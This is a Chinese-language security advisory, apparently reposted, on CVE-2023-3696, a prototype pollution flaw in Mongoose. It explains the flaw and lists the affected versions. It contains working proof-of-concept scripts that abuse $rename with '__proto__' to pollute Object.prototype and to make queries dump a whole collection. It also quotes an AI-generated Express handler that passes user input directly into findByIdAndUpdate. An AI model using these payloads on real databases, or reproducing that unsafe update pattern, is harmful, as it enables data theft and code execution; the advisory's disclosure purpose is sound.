Mongoose 原型链污染致代码执行漏洞(CVE-2023-3696)

admin 2024年10月13日15:43:46评论28 views字数 3742阅读12分28秒阅读模式
Mongoose 原型链污染致代码执行漏洞(CVE-2023-3696)

漏洞描述

Mongoose是MongoDB的一个对象模型工具,将数据库中的数据转换为JavaScript对象以供你在应用中使用,封装了MongoDB对文档的的一些增删改查等常用方法。CVE-2023-3696 中,由于Mongoose存在原型链污染,导致在一定环境下,攻击者可构造恶意请求造成代码执行。

影响版本

>= 7.0.0, < 7.3.3

>= 6.0.0, < 6.11.3

< 5.13.20

如果攻击者有某种方式通过某种方式控制 Mongo 服务器上的对象,则有可能在任何 Mongoose 客户端上造成原型污染。值得注意的是,如果实施不当的服务允许用户控制findByIdAndUpdate类似功能中的对象,则该错误可能会通过$rename操作员触发。另一种可能性是,如果两个不同的服务与同一个 Mongo 数据库交互,其中一个服务可能允许用户注入包含字段的任意对象__proto__,这也会触发此错误。

如果与 Express 和 EJS 一起使用,这个 bug 很容易导致 RCE。许多其他图书馆也有已知的污染利用原型,这可能会造成重大影响。

允许用户直接输入update操作似乎是一种非常常见的模式。例如,如果我们向 GPT-4 询问使用 Mongoose 更新帖子的基本提示,它会给出:

提示:

使用 Express 和 Mongoose,获取用户的输入,通过 id 查找“帖子”,并更新其字段。

回应:

在 Express 和 Mongoose 中,您可以使用该findByIdAndUpdate方法通过 id 查找“Post”并更新其字段。您可以这样做:

const express = require('express');const mongoose = require('mongoose');const Post = require('./models/post'); // Assuming you have a Post model in models/post.jsconst app = express();app.use(express.json()); // for parsing application/jsonapp.put('/post/:id', async (req, res) => {    const { id } = req.params;    try {        const post = await Post.findByIdAndUpdate(id, req.body, { new: true });         // new: true returns the updated post rather than the original post when the operation began        if (!post) {            return res.status(404).send();        }        res.send(post);    } catch (e) {        res.status(400).send(e);    }});

在上面的示例中,req.params.id用于从 URL 获取 id。用于req.body从用户处获取更新的数据。该{ new: true }选项用于返回更新后的帖子。

概念证明:

import { connect, model, Schema } from 'mongoose';await connect('mongodb://127.0.0.1:27017/exploit');const Example = model('Example', new Schema({ hello: String }));const example = await new Example({ hello: 'world!' }).save();await Example.findByIdAndUpdate(example._id, {    $rename: {        hello: '__proto__.polluted'    }});// this is what causes the pollutionawait Example.find();const test = {};console.log(test.polluted); // world!console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }process.exit();

结果数据库条目

exploit> db.examples.find({})[  {    _id: ObjectId("64a757117e3dbf11b14e0fd4"),    __v: 0,    ['__proto__']: { polluted: 'world!' }  }]

解释

当 Mongoose 找到文档并将恶意文档读入对象时,它会使用具有原型的对象。如果顶级对象包含__proto__字段,则会导致对象原型被覆盖。

受影响的代码:

// document.js/** * Init helper. * * @param {Object} self document instance * @param {Object} obj raw mongodb doc * @param {Object} doc object we are initializing * @param {Object} [opts] Optional Options * @param {Boolean} [opts.setters] Call `applySetters` instead of `cast` * @param {String} [prefix] Prefix to add to each path * @api private */function init(self, obj, doc, opts, prefix) {  // ...  function _init(index) {    // ...    if (!schemaType && utils.isPOJO(obj[i])) {      //  ...      // (1)      // our malicious payload first reaches here, where:      // obj is some document      // i = '__proto__'      // so, obj[i] gives Object.prototype, which gets used in (2)      init(self, obj[i], doc[i], opts, path + '.');    } else if (!schemaType) {      // (2)      // after the recursive call on (1), we reach here      // pollution happens on the next line, where:      // doc: Object.prototype,      // obj = { polluted: 'world!' },      // i = 'polluted'      doc[i] = obj[i];      if (!strict && !prefix) {        self[i] = obj[i];      }    } else {

影响

如果与 Express 和 EJS 一起使用,这个 bug 很容易导致 RCE。许多其他图书馆也有已知的污染利用原型,这可能会造成重大影响。

我们还发现,我们实际上可以利用 Mongoose 本身的原型污染,使其在使用时绕过所有查询参数.find(),这使得攻击者有可能转储整个集合:

import { connect, model, Schema } from 'mongoose';const mongoose = await connect('mongodb://127.0.0.1:27017/exploit');const Post = model('Post', new Schema({    owner: String,    message: String}));await Post.create({    owner: "SECRET_USER",    message: "SECRET_MESSAGE"});const post = await Post.create({    owner: "user",    message: "test message"});await Post.findByIdAndUpdate(post._id, {    $rename: {        message: '__proto__.owner'    }});// this pollutes Object.prototype.owner = "test message"await Post.find({ owner: "user" });// now, when querying posts, even when an owner is specified, all posts are returnedconst posts = await Post.find({    owner: "user2"});console.log(posts); // both posts created are found/*output:[  {    _id: new ObjectId("64a7610756da3c04f900bf49"),    owner: 'SECRET_USER',    message: 'SECRET_MESSAGE',    __v: 0  },  {    _id: new ObjectId("64a7610756da3c04f900bf4b"),    owner: 'user',    __v: 0  }]*/process.exit();

这也很容易导致拒绝服务,具体取决于 Mongo 集合的大小以及应用程序中使用的其他库。

原文始发于微信公众号(Ots安全):Mongoose 原型链污染致代码执行漏洞(CVE-2023-3696)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日15:43:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mongoose 原型链污染致代码执行漏洞(CVE-2023-3696)https://cn-sec.com/archives/1903510.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息